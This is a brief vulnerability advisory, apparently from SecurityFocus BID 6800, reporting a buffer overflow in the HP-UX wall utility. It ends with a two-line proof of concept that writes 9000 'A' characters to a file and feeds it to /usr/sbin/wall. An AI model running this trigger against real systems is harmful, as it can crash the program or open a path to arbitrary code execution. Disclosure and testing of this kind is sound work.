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523 B
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8 lines
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523 B
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source: http://www.securityfocus.com/bid/6800/info
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It has been reported that the HPUX wall executable may be prone to a buffer overflow condition. This buffer overflow is alleged to be triggered when an excessive amount of data is redirected into wall as a message intended to be broadcast.
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It may be possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.
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perl -e 'print "A" x 9000' > /tmp/out
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/usr/sbin/wall /tmp/out |